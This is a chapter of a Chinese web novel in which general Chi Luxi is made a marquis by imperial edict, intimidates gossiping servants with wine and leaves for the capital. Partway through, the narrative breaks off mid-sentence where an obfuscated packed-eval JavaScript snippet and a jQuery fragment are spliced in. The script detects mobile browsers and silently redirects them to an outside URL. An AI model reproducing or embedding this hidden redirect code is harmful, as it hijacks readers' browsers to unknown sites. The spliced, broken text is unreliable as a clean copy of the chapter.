48. 怀柔之策
作品:《报应敲门她照睡》 阴暗,潮湿,不见天日。
污水,粪便,瘟病蔓延。
迟露晞陡然想到了这幅画面,心中立时抽痛起来,仿佛那条串起她与谢承暄的红线正困死在线球里,缠绕紧绷,用劲拉扯,也只拉出一寸,撕扯着毛边糙着疼。
可知那线球,便是她的心。这么一抽一拉,她便命悬一线。
当初她还在受牢狱之苦时,曾不知天高地厚地说过要常住监狱的玩笑话,如今一看自己真是大大的天真。
当初正值隆冬,监狱里虽然冻寒,然而也沾了点清冷的光,不至于滋生过多细菌,更不至于热得人五脏六腑都烧起来。
而京城中的天牢,正值暑热,只会比她想的有过之而不及。
勾月又道:“对面那人给了条件,说我们只要献城,便会放人。”
“好啊好啊!”迟露晞蓦地坐下。
这几年勾月一直在替她打听谢承暄的消息,废了许多力气却毫无结果。谁知偏是这几天,先是方执,后是勾月,一个两个都打探到了消息,只能说明朝廷有意为之。
谢承暄到底是招惹了谁?先是哑药,后是如此。
许玲白忧心道:“将军,这可如何是好?”
“绝不投降。”
若真要弃城,她便再无可以相争的筹码。
她还没忘记这位皇帝的权术手段。
勾月又问:“那要如何是好?”
迟露晞眉头深皱,只说另寻方法。
办法啊,办法啊,她还不知道谢承暄惹了什么人,只希望千万不是顶头的那一位。
谢承暄定然还有利用价值,所以暂时不会有生命危险,只是这瘟疫紧要,又该如何……
她靠在椅子上,一时竟也没了主意。
屋外忽有士卒快步来报:“将军,城下有钦差自称携旨而来,是否请其入内?”
“自然!”
这孩子,真当她篡逆呢?
她连忙吩咐众人摆好香案等物,自己整理衣襟,便立在一旁。
她可是极其恭顺,没有半点篡逆的意思。
那钦差一进门,迟露晞边听勾月啧了一声,她偷偷一瞄,果然是汪文鉴。
如今倒像是深受重用,话语间都添了几分笃定,好似拿起圣旨,便就坐上高位了一般。
他本欲寒暄几句,却见迟露晞等人毕恭毕敬,一副公事公办的模样,遂敛去神色。
汪文鉴展开圣旨,高声宣读:“……北城久经战乱,民不聊生,念平北将军迟露晞保境安民,护一城百姓,功在社稷,今念其劳绩,赦其前嫌,特册封其为成望候,镇守边陲,以安民心。钦此!”
迟露晞双手发颤,缓言道:“臣遵旨,谢陛下隆恩!”
他或许也并未打算就此收复北城,反而是早早拟好了圣旨,才有今日封侯一说。
此番怀柔之策,她是真遇到对手了。
她将圣旨迎入内间供奉,便备好了礼物,更着士卒领汪文鉴先去休息吃酒,好生照顾。
汪文鉴再有多话都难有机会,只得郁郁而去。
见汪文鉴离去,勾月终于松了口气,她已是喜上眉梢,恭喜道:“小姐,不,以后都要叫殿下了!真是恭喜恭喜!”
余下诸人皆是恭喜,唯有许玲白疑惑了两声,迟露晞不动声色,掀帐要走。
“君侯去哪?”
“难得添了这虚名,自然要去显摆一下。”她笑道。
这城中向来是许玲白主外,柳舒君主内,她二人各司其职,迟露晞十分放心。
在城外兵戈相向时,那挑事的几名家仆便早早地被捉拿归案。
柳舒君在后堂见了迟露晞,只叹道:“怎么审他们都说是自己喝醉了胡言乱语,并非受人指使。”
迟露晞不动声色,冷声道:“大胆!”
柳舒君闻言一怔,瞪大着眼睛瞅她,仿佛在想这孩子哪根筋搭错了。
许玲白跟在身后,亦面无喜色,只道:“见到成望候竟不行礼?”
柳舒君眉毛一跳,却是上来捉住她的手,忙问:“你拿什么换的?发生什么了?”
迟露晞松懈下来,许玲白又恢复了那般俏皮之态,笑道:“朝廷不敌我军,这便是回报,以嘉奖君侯安民之功的,也算全了朝廷的面子,没什么大事。”
柳舒君用手摩梭着她的掌心,叹道:“我还以为发生了什么了不得的事,吓死我了……”
“姊姊多心,竟半点不同我逗趣。”迟露晞故作委屈。
柳舒君朝她皱皱鼻子,随即腰肢一欠,媚眼一落,行了个极为漂亮的礼。迟露晞已是许久没见她这般仪态,每每见到她便要感慨,为何同样是一个肢体配上两手两脚,有人的姿态就能这么端庄秀丽。
“此生无憾了!”
柳舒君将她轻轻一推,又问毛家之事怎么办。
她笑而不语,迈步堂前,着人将家仆带上来。
迟露晞封侯之事早已传遍全城,那家仆更是有所耳闻,如今终于亲见这成望候,看她一身云纹锦袍,衣上暗绣麒麟踏云,腰悬美玉,脚踏金靴,周身锦绣琳琅,却不显俗艳,只觉官威逼人。
那几个家仆早已颤悠悠地跪了一地,屏息不敢多言。
“君侯饶命,君侯饶命啊!”
迟露晞并未应声,只是端坐在旁,那几名家仆早已是汗如雨下,更兼跪伏在地,看不见迟露晞的表情,一个个忐忑不安。
终于有一人耐不住寂寞,主动跪爬至前,陈说冤屈,将毛仁旺供了个底朝天,余下几人见事已至此,亦跟着求饶。
一时,堂内哀声四起。
迟露晞轻叩茶碗,朗声道:“好啊,那我就放了你们。”
几人面面相觑,皆拉长了嘴巴,头先告饶之人斗胆一问:“君侯此言当真?”
迟露晞将茶碗重重一放,迸起的茶水,让几人汗珠大落,仍跪伏不起。
“我何时有过戏言?”
“没有没有!”几人匆忙回应。
“你等今日妄议军事,指我必败于王师,然而圣旨既下,是非已定,你等既说冤枉,又何罪之有?”
几人皆是愣住,正要谢恩,又听她说:“不仅要放,我还要赏你们呢。”
“君侯饶命啊!我们再也不敢了!再也不敢了!”
迟露晞笑道:“来人,给他几个每人赏酒一樽!”
几名家仆已是面如死灰,心知此酒必毒,接过时更是双手颤抖,有个气性小的,指尖抖得厉害,一接过酒,便听“咣当”一声,热酒便泼得到处都是。
“小人不是故意的,求君侯饶命啊!”那人面色惨白,连连磕头告饶。
“慌什么,”迟露晞只是微微抬眸,“酒洒了,再斟便是。”
那人跪在地上,又接过一杯酒,这次,他倒是稳如磐石。
迟露晞冷声道:“你可知,我若要让你死,不必用酒,不必用毒,一句话便可。”
“小人知道!”他浑身发颤,然而酒握
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404244|196852||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得极稳。
“今日酒洒了,证明你心里有鬼,若再有下次……洒在地上的,估计就不是这热酒了。”
迟露晞微微一笑,几名家仆慌忙将酒饮下,连忙磕头谢恩。
见人走后,柳舒君上前问道:“真就让他们走了?”
迟露晞点点头。
怀柔之策果然好用。
她不禁端起一杯斟满的酒,往京城方向遥遥一敬,便仰头饮下,烈酒烧心,她浑身都热了起来。
“明日我要回京,北城就麻烦你和许姑娘了。”
“回京?好,你放心去吧。”柳舒君并未多问,学着她将酒一饮,似是吞尽了许多悲壮,然而顷刻间酒气上脸,她扶着椅子,有些气喘吁吁。
“你怎么喝得像绝命酒似的?此去我自有分寸,”迟露晞按了按她的手,“你且放心。”
柳舒君拍开她的手,匆匆移步后堂,迟露晞追上来拉住她,又黏糊着:“我怎样惹姊姊生气了?”
“你出现我就生气!”
迟露晞缠着她不让她走,又道:“若这真是我们最后一面,这便是你对我说的最后一句话,以后想来,你岂不后悔?”
柳舒君抿着嘴角,将她耳朵一揪,恨道:“你就知道气我!”
“好姊姊饶命啊!饶命!”
柳舒君瞅着她,将她放了,落寞道:“我知道你聪明,鬼点子也多,然而这件事不容乱来,万一那背后之人深不可测呢?”
“说不定他也觉得我深不可测呢。”迟露晞还是笑。
柳舒君扳过她的肩,正色道:“无论如何,不能以命相搏。”
她仍然是笑。
她怎么会死呢?她最怕的就是在古代惨死。
现在她在北城有钱有权有名望,已算过上豪华版的躺平生活了,有怎么会弃之不顾呢?
柳舒君执拗地央她:“你答应我。”
但她却迟疑了。很奇怪的,仿佛只是因为对每一个承诺都抱有慎重的态度,她迟疑了。
“嗯,我答应你。”她最后还是说。
迟露晞走前,将城内大小事务一一部署,许玲白扬星等各自领命,各司其职。她遂放心点头,让勾月与她一同回京。
回京之路与七年前大为不同。此刻是熔炉般的天气炙烤大地,烘得人无处可逃,便是单纯立着不动,也能感觉汗珠顺着锁骨一路滑至腰腹,周身濡湿粘腻,倍觉难耐。
如今北城与京城之间道路早已修好,大路通畅,最早今晚最迟明日便可入京。
迟露晞见正午艳阳实在热烈,又念及昨夜已赶路一晚,余下行程不多,便唤勾月停下,两人寻了一块树荫处休息。
迟露晞累得昏天黑地,见了阴凉便一屁股坐下,谁知这热土竟烧得她不行。然而这一坐下,她便彻底怠惰了,没力气起来,就将就着靠在树干上,眼前已是昏昏暖暖。
周围亦有几个百姓撑着钉耙,在树下乘凉,交谈声悉悉索索地传过来。
“呼,这老天!连井水都见了底,再这么下去,人都要被烤成干柴了!”
“少说两句吧,你也不嫌热得慌?这老天,说不定就在发怒呢。”
“怒什么?”
“诶,我听云游的道长说,这可是天罚!”
那人气道:“定是人间有大奸大恶之人,气得老天爷不肯落雨!才叫咱们百姓跟着受苦!”
“诶诶,噤声噤声!”旁人视线微微一转,瞥了迟露晞一眼,“要杀头的!”

